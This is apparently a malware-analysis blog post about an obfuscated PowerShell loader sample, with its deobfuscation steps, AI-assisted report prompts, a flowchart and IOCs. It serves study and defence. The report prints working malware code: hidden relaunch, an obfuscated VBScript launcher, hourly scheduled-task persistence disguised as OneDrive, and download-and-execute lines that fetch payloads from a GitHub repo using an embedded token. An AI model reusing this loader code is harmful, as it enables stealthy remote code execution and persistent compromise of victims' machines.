Source

Malware Bazaar: https://bazaar.abuse.ch/sample/02d9468af1e2a4be19f3a31549b808e6fd327922eb68d96706122ef8653c9d7a/
File type: Powershell
Size: ~5 KB

Analysis

Obfuscation

The entire script content is on a single line making it difficult to read.

There were also other obfuscation measures:

Split strings:

$bstr="ht"+"tp"+"s:"+"//"+"ra"+"w"+".gi"+"t"+"hu"+"bu"+"se"+"rco"+"n"+"tent"+".com/"+"b"+"rand"+"o"+"nl"+"eeodd9"+"3"+"-b"+"l"+"ip"+"/r"+"eal3"+"/mai"+"n/"

Escapes via backticks:

$whaleContent = "Dim asdfasdfasdf`nSet asdfasdfasdf = CreateObject(`"W`" + `"S`" + `"cri`" + `"pt.She`" + `"ll`")`nqwerqwerqwerqwer = asdfasdfasdf.ExpandEnvironmentStrings(`"%USERPROFILE%`") + `"\AppData\Roaming\wale.ps1`"`nasdfasdfasdf.Run `"p`" + `"ow`" & `"ershe`" & `"ll.ex`" & `"e -wi`" + `"nd`" & `"owstyle hi`" & `"dden -Ex`" & `"ecutionPo`" & `"licy B`" & `"ypass -Fi`" & `"le `" & qwerqwerqwerqwer, 0, True`nSet asdfasdfasdf = Nothing"

Deobfuscation

Utilities: https://github.com/nikhilh-20/re_tools/tree/main/powershell

> .\PsExpand-Semicolons.ps1 -InputFile C:\Users\Ashura\Desktop\02d9468af1e2a4be19f3a31549b808e6fd327922eb68d96706122ef8653c9d7a\02d9468af1e2a4be19f3a31549b808e6fd327922eb68d96706122ef8653c9d7a.ps1 C:\Users\Ashura\Desktop\02d9468af1e2a4be19f3a31549b808e6fd327922eb68d96706122ef8653c9d7a\02d9468af1e2a4be19f3a31549b808e6fd327922eb68d96706122ef8653c9d7a_pass1.ps1
{"output_path":"C:\\Users\\Ashura\\Desktop\\02d9468af1e2a4be19f3a31549b808e6fd327922eb68d96706122ef8653c9d7a\\02d9468af1e2a4be19f3a31549b808e6fd327922eb68d96706122ef8653c9d7a_pass1.ps1","output_bytes":2584,"input_bytes":2567}

> .\PsFold-Strings.ps1 -InputFile C:\Users\Ashura\Desktop\02d9468af1e2a4be19f3e C:\Users\Ashura\Desktop\02d9468af1e2a4be19f3a31549b808e6fd327922eb68d96706122ef8653c9d7a\02d9468af1e2a4be19f3a31549b808e6fd327922eb68d96706122ef8653c9d7a_pass2.ps1
{"changed":1,"output_path":"C:\\Users\\Ashura\\Desktop\\b1ca1ce60e4b62fe2770d40aae943c1a3b7d1963ecaf5010e2e88e5ad1aaf822\\02d9468af1e2a4be19f3a31549b808e6fd327922eb68d96706122ef8653c9d7a_pass2.ps1","output_bytes":2503,"input_bytes":2584}

 > .\PsStrip-Backticks.ps1 -InputFile C:\Users\Ashura\Desktop\02d9468af1e2a4be19f3a31549b808e6fd327922eb68d96706122ef8653c9d7a\02d9468af1e2a4be19f3a31549b808e6fd327922eb68d96706122ef8653c9d7a_pass2.ps1 -OutputFile C:\Users\Ashura\Desktop\02d9468af1e2a4be19f3a31549b808e6fd327922eb68d96706122ef8653c9d7a\02d9468af1e2a4be19f3a31549b808e6fd327922eb68d96706122ef8653c9d7a_pass3.ps1
{"strings_decoded":1,"input_bytes":2503,"output_path":"C:\\Users\\Ashura\\Desktop\\b1ca1ce60e4b62fe2770d40aae943c1a3b7d1963ecaf5010e2e88e5ad1aaf822\\02d9468af1e2a4be19f3a31549b808e6fd327922eb68d96706122ef8653c9d7a_pass3.ps1","output_bytes":2461,"changed":1,"backticks_removed":0}

Functionality

Prompt

Leverages malware-analysis skill for Sonnet 5.

❯ /malware-analysis Analyze @C:\Users\Ashura\Desktop\02d9468af1e2a4be19f3a31549b808e6fd327922eb68d96706122ef8653c9d7a\02d9468af1e2a4be19f3a31549b808e6fd327922eb68d96706122ef8653c9d7a_pass3.ps1. Write report in markdown format into @report.md It should contain the below sections:

1. Executive summary
2. Details - avoid variable names granularity. retain behavioral specifics like created folder names, C2 contact, etc.
3. IOCs

Reference the source code when stating functionality. Like:
```<source_code>```
<functionality>

Flowchart Prompt

Based on @report.md, can a Mermaid flowchart be written into FLOW.mmd? Keep the flowchart in natural language. Avoid variable name granularity. You can retain created folder names and contacted C2

Flowchart

flowchart TD
    Start([Script executes]) --> HiddenCheck{Already running\nwith a hidden window?}

    HiddenCheck -- No --> Relaunch[Relaunch itself in a new\nhidden PowerShell process]
    Relaunch --> ExitVisible([Exit the visible process])

    HiddenCheck -- Yes --> DecoyBranch[Download decoy PDF from GitHub C2 repo\nbrandonleeodd93-blip/real3 -- view.pdf,\nusing an embedded GitHub access token]
    DecoyBranch --> SaveDecoy["Save as %TEMP%\\PumpGuard_Pumpfun_AI_Attack_Defence_Requirements_v2_1_GameEngine.pdf"]
    SaveDecoy --> OpenDecoy[Open the decoy PDF\nto distract the victim]

    HiddenCheck -- Yes --> WriteVBS["Write VBScript launcher to\n%AppData%\\whale.vbs\n(wraps a hidden PowerShell launch)"]
    WriteVBS --> WriteDownloader["Write PowerShell downloader script to\n%AppData%\\wale.ps1\n(fetches 2.txt as coks.ps1 and runs it,\nonly when triggered later)"]

    WriteDownloader --> RegisterTask["Register hidden Scheduled Task\n'OneDrive Reporting Task-WORD-1-4-21-53529385-53453634-535436459-55601'\nfirst run +5 min, repeats every 60 min"]

    RegisterTask --> TaskFires[Scheduled task fires]
    TaskFires --> RunVBS[Runs whale.vbs]
    RunVBS --> RunDownloader[Launches wale.ps1]
    RunDownloader --> FetchRecurring["Downloads 2.txt from C2 repo,\nsaves as %AppData%\\coks.ps1,\nand executes it"]
    FetchRecurring -.->|waits 60 min, repeats| TaskFires

    WriteDownloader --> SecondStage["Download second payload (1.txt)\nfrom the same C2 repo"]
    SecondStage --> SaveSecondStage["Save as %AppData%\\bpvme.ps1"]
    SaveSecondStage --> RunSecondStage[Execute it immediately, once]

    RunSecondStage --> SelfDelete[Delete the original script file\nfrom disk -- anti-forensics]
    SelfDelete --> End([End])

Report

Executive Summary

This script is a multi-stage PowerShell downloader that uses a GitHub repository — accessed via a hardcoded Personal Access Token (PAT) — as its staging/command-and-control channel. On execution it silently relaunches itself with a hidden window, downloads a decoy PDF (themed as a crypto/Pump.fun “AI trading defence” document) into the temp folder and opens it to distract the victim, then drops a VBScript/PowerShell wrapper pair into %AppData% and registers a hidden Scheduled Task — masquerading as a “OneDrive Reporting Task” — that re-triggers the downloader every 60 minutes to fetch and run additional payloads from the same GitHub repo. It also immediately downloads and executes a second payload outside the scheduled task, and finally deletes itself from disk to reduce forensic evidence. The combination of a distracting decoy document, durable persistence, remote code execution from an attacker-controlled channel, and anti-forensic self-deletion indicates this is an initial-access/loader component intended to fetch and run further malware on an ongoing basis. Risk: High.

Details

Hidden self-relaunch

$cl=[Environment]::GetCommandLineArgs()-join' '
if($MyInvocation.MyCommand.Path -and $cl -notmatch '[\s\-]WindowStyle\s+Hidden' -and $cl -notmatch '[\s\-]w\s+Hidden'){
    Start-Process powershell -ArgumentList "-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File `"$($MyInvocation.MyCommand.Path)`"" -WindowStyle Hidden
    exit
}

On first run, the script checks whether it was already launched with a hidden window. If not, it relaunches its own file path in a new hidden, no-profile, execution-policy-bypassed PowerShell process and exits the visible one — ensuring the victim never sees a console window for the rest of execution.

Decoy PDF shown to distract the victim

$hhh=Join-Path ([System.IO.Path]::GetTempPath()) "PumpGuard_Pumpfun_AI_Attack_Defence_Requirements_v2_1_GameEngine.pdf"
$tkf="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"
$bstr='https://raw.githubusercontent.com/brandonleeodd93-blip/real3/main/'
$rstr=$bstr+"view.pdf"
$hrs = @{
    Authorization="token $tkf"
    srjidc="dsghjkgekjhgegegegr"
    Accept="application/vnd.github.v3.raw"
}

Invoke-WebRequest -Uri $rstr -Headers $hrs -OutFile $hhh
& $hhh

The script builds a destination path in the user’s temp folder named PumpGuard_Pumpfun_AI_Attack_Defence_Requirements_v2_1_GameEngine.pdf — a filename crafted to look like a legitimate crypto/trading-bot security document (a social-engineering lure, likely matching whatever pretext convinced the victim to run this script in the first place). It downloads view.pdf from a GitHub repository using an embedded PAT for authenticated access, saves the content under that decoy name, and opens it with the call operator (&). This step is a deliberate decoy: the victim sees a PDF open — providing cover while the remaining stages silently establish persistence and pull down further payloads in the background.

Originally, Sonnet 5 said that & $hhh would run the PDF as an executable. On further questioning and Sonnet doing some testing, it realized that statement would just open the PDF file in the system’s default viewer.

VBScript persistence wrapper

$Sch = Join-Path $env:AppData "whale.vbs"
$whaleContent = 'Dim asdfasdfasdf
Set asdfasdfasdf = CreateObject("W" + "S" + "cri" + "pt.She" + "ll")
qwerqwerqwerqwer = asdfasdfasdf.ExpandEnvironmentStrings("%USERPROFILE%") + "\AppData\Roaming\wale.ps1"
asdfasdfasdf.Run "p" + "ow" & "ershe" & "ll.ex" & "e -wi" + "nd" & "owstyle hi" & "dden -Ex" & "ecutionPo" & "licy B" & "ypass -Fi" & "le " & qwerqwerqwerqwer, 0, True
Set asdfasdfasdf = Nothing'
Set-Content -Path $Sch -Value $whaleContent -Encoding ASCII

A VBScript file whale.vbs is written to %AppData%. Its logic is deliberately string-concatenated to evade static/signature detection, but it simply instantiates WScript.Shell and runs powershell.exe -windowstyle hidden -ExecutionPolicy Bypass -File %AppData%\wale.ps1 hidden and synchronously. This file acts as a lightweight launcher wrapper so the Scheduled Task (below) doesn’t invoke PowerShell directly.

Powershell downloader script dropped to disk

$str = '$aaa = Join-Path ($env:AppData) "coks.ps1"; $bsp="'+$bstr+'2.txt";$hsp=@{Authorization="token '+$tkf+'";frjc="hdjgERErit783tiu";Accept="application/vnd.github.v3.raw"};Invoke-WebRequest -Uri $bsp -Headers $hsp -OutFile $aaa;Start-Process powershell -ArgumentList "-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File `"$aaa`"" -WindowStyle Hidden;'
$str | Out-File -FilePath $ppp -Encoding UTF8

A second PowerShell script, wale.ps1, is written to %AppData%. Its embedded logic downloads a file named 2.txt from the same GitHub repo (using the same PAT with a different decoy header name) and saves it as coks.ps1 in %AppData%, then launches it hidden. This is the payload that gets re-executed on the recurring schedule described next — giving the attacker the ability to update or rotate what gets run on the recurring trigger without touching the scheduled task itself.

Scheduled Task persistence

$action = New-ScheduledTaskAction -Execute 'wscript.exe' -Argument "`"$Sch`""
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(5) -RepetitionInterval (New-TimeSpan -Minutes 60)
$settings = New-ScheduledTaskSettingsSet -Hidden
Register-ScheduledTask -TaskName "OneDrive Reporting Task-WORD-1-4-21-53529385-53453634-535436459-55601" -Action $action -Trigger $trigger -Settings $settings

A hidden Scheduled Task named OneDrive Reporting Task-WORD-1-4-21-53529385-53453634-535436459-55601 is registered — the name is chosen to blend in with legitimate Microsoft/OneDrive scheduled tasks. It runs wscript.exe whale.vbs, starting 5 minutes after registration and repeating every 60 minutes. This gives the attacker a durable, recurring foothold: every hour, the VBScript wrapper launches the Powershell downloader (wale.ps1), which fetches and runs whatever payload the attacker currently hosts at the 2.txt path in the GitHub repo.

Immediate second-stage download and execution

$aaa = Join-Path ($env:AppData) "bpvme.ps1"
$rstr=$bstr+"1.txt"
Invoke-WebRequest -Uri $rstr -Headers $hrs -OutFile $aaa
Start-Process powershell -ArgumentList "-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File `"$aaa`"" -WindowStyle Hidden

Independent of the scheduled task, the script downloads another file, 1.txt, from the same repo and saves it as bpvme.ps1 in %AppData%, then runs it hidden immediately. This is a separate, one-time additional payload delivered at first execution (distinct from the recurring coks.ps1 stage).

Self-deletion / anti-forensics

Remove-Item -Path $MyInvocation.MyCommand.Path -Force

As its final action, the script deletes its own file from disk, removing the initial-access artifact and complicating incident-response reconstruction of how execution began.

IOCs

Type	Value
GitHub PAT (embedded credential used for C2 fetches)	`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`
C2 / staging base URL	`hxxps[://]raw[.]githubusercontent[.]com/brandonleeodd93-blip/real3/main/`
Remote staged file: decoy PDF	`hxxps[://]raw[.]githubusercontent[.]com/brandonleeodd93-blip/real3/main/view[.]pdf`
Remote staged file: stage-2 payload	`hxxps[://]raw[.]githubusercontent[.]com/brandonleeodd93-blip/real3/main/1[.]txt`
Remote staged file: stage-3 payload (recurring)	`hxxps[://]raw[.]githubusercontent[.]com/brandonleeodd93-blip/real3/main/2[.]txt`
Dropped file (decoy PDF)	`%TEMP%\PumpGuard_Pumpfun_AI_Attack_Defence_Requirements_v2_1_GameEngine.pdf`
Dropped file (VBScript launcher)	`%AppData%\whale.vbs`
Dropped file (downloader)	`%AppData%\wale.ps1`
Dropped file (payload, downloaded by wale.ps1)	`%AppData%\coks.ps1`
Dropped file (stage-2 payload)	`%AppData%\bpvme.ps1`
Scheduled Task name	`OneDrive Reporting Task-WORD-1-4-21-53529385-53453634-535436459-55601`
Persistence trigger	Runs `wscript.exe` on `%AppData%\whale.vbs`, first fire +5 min, repeats every 60 min

Nikhil "Kaido" Hegde

M&M: Malware and Musings